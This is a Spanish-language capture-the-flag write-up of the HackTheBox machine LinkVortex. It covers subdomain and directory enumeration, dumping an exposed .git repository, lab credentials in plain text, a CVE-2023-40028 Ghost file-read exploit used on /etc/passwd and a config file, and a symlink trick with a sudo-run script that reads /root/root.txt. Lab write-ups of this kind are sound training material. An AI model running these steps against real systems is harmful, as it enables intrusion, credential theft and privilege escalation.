> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md). # Resolución de HackTheBox LinkVortex {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración de subdominios * Extracción de información del directorio .git (Git-Dumper) * Fuga de información * Explotación de LFI (Ghost) * Abuso de privilegios sudo mediante script (doble enlace simbólico) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Configuración del archivo /etc/hosts** Añadimos la dirección IP del objetivo a nuestro `/etc/hosts` archivo para facilitar las resoluciones DNS locales.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

### **Puerto 80**

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p22,80 linkvortex.htb -oN targeted ```

### **Enumeración de directorios** ```bash wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/ ```

### Panel de administración - Ghost

### **Descubrimiento de un subdominio** Buscamos subdominios asociados con `linkvortex.htb` usando gobuster. ```bash gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` Encontramos el subdominio `dev.linkvortex.htb`. Aquí está el comando para realizar esta búsqueda:

Una vez encontrado el subdominio, lo añadimos al `/etc/hosts` archivo para facilitar el acceso:

#### **Búsqueda de directorios en el nuevo subdominio** Buscamos directorios existentes en el `dev.linkvortex.htb` subdominio usando `gobuster`: ```bash gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100 ``` Descubrimos el `.git` directorio, lo que podría indicar un repositorio Git expuesto.

### **Extracción de archivos con Git-Dumper** Usamos la herramienta `git-dumper` para extraer archivos del `.git` directorio y analizarlos: ```git git-dumper http://dev.linkvortex.htb/.git .git ```

Esto nos permite obtener archivos sensibles, incluido un archivo de prueba ubicado en `ghost/core/test/regression/api/admin/authentication.test.js`, donde encontramos una contraseña:

**Contraseña encontrada:** ```parser OctopiFociPilfer45 ```

### **Iniciar sesión en el panel de administración de Ghost** Con esta contraseña, intentamos conectarnos al panel de administración de Ghost usando la `dirección de correo admin@linkvortex.htb` : * **Correo electrónico** : `dirección de correo admin@linkvortex.htb` * **Contraseña**: `OctopiFociPilfer45`

## Vulnerabilidad de Ghost - LFI {% embed url="" %}

> Durante el escaneo de puertos, identificamos que la versión de Ghost utilizada (v5.58) es vulnerable a una vulnerabilidad LFI (Local File Inclusion), identificada como CVE-2023-40028. Para explotar esta vulnerabilidad, descargamos el script de explotación y modificamos la URL objetivo para que apunte a nuestra instancia de Ghost.

Aquí está el comando para ejecutar el exploit: ```bash ./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 ``` Entonces obtenemos una shell y podemos mostrar archivos, como `/etc/passwd`.

**Acceso a una ruta interna mediante LFI** En el `.git` directorio, encontramos un archivo Docker que nos proporciona una ruta interna para acceder a una sesión: `/var/lib/ghost/config.production.json`.

Usamos LFI para listar archivos y encontrar las credenciales de un usuario llamado Bob:

**Credenciales de Bob:** * **Usuario**: `bob@linkvortex.htb` * **Contraseña**: `fibber-talented-worth` Nos conectamos a la máquina objetivo mediante SSH usando las credenciales de Bob: ### Bandera user.txt :) Usamos la contraseña `fibber-talented-worth` para iniciar sesión y acceder al archivo `user.txt`, donde encontramos la bandera.

## Bandera root.txt :) ### SUDO - Clean/\_synLink.sh Buscamos una vulnerabilidad que permita la escalada de privilegios. Descubrimos un archivo con permisos SUID.

#### **Análisis del script de limpieza de enlaces simbólicos** > Analizamos un script llamado `clean_symlink.sh`, que comprueba si el archivo proporcionado como argumento es un enlace simbólico que apunta a un archivo `.png` . Si el enlace simbólico apunta a un archivo crítico, el script lo elimina. De lo contrario, mueve el enlace simbólico al `/var/quarantined/` directorio. Si la `CHECK_CONTENT` variable de entorno está establecida en `true`, el script intenta leer el contenido del archivo. Aquí está el comando para crear los enlaces simbólicos necesarios para la explotación: ```bash ln -s /root/root.txt flag.txt ln -s /home/bob/flag.txt flag.png ``` Luego ejecutamos el script con el siguiente comando para obtener la bandera de root: ```bash sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png ``` Así obtenemos la `root.txt` bandera.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.